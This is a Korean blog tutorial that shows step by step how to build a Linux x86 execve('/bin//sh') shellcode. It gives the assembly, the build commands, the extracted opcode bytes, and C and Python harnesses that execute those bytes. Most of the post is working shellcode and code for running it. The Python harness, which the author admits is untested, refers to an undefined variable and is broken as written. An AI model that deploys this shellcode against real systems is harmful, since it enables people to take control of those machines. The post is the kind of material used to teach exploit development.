1. /usr/include/asm/unistd.h 등에서 execve함수의 시스템 콜 번호 알아내기.
2. 어셈블리어 제작 (sh.s)
.global _start
_start:
xor %eax, %eax
xor %edx, %edx
push %eax #null
push $0x68732f2f #//sh
push $0x6e69622f #/bin
mov %esp, %ebx #/bin//sh문자열의 주소저장
push %edx
push %ebx
mov %esp, %ecx
movb $0x0B, %al #0x0B==11로 execve의 시스템 콜 번호.
int $0x80
3. 어셈블리어를 컴파일해서 되는지 확인
as -o sh.o sh.s
ld -o sh sh.o
./sh
4. 제대로 쉘이 실행되면 objdump -d ./sh로 OP code 추출
ex) \x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80
5.1). 추출된 OP code를 c언어에 넣어서 돌려보기.
( http://qkqhxla1.tistory.com/251에 opcode만 가져오는 파이썬 코드 있음. )
#include <stdio.h> #include <string.h> char shell[]="\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; int main() { printf("shell len = %d\n",strlen(shell)); (*(void (*)()) shell)(); }
5.2). 추출된 OP code를 파이썬에 넣어서 돌려보기. (지인의 블로그에서 퍼옴. 실험을 안해봐서 되는지 안되는지 모르겠다.)
from ctypes import * sc_data = ("\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80") sc = c_char_p(sc_data) func = cast(shellcode, CFUNCTYPE(None)) func()
** dumpcode
** 48byte shellcode
'systemhacking > background' 카테고리의 다른 글
mprotect (메모리 권한 변경) (0) | 2015.02.10 |
---|---|
linux background 2 (binary hacks) (0) | 2015.02.08 |
linux background 1 (binary hacks) (0) | 2015.02.06 |
system 기본 용어들 (0) | 2015.02.04 |
리버스 커넥션 쉘코드 제작 (0) | 2015.01.31 |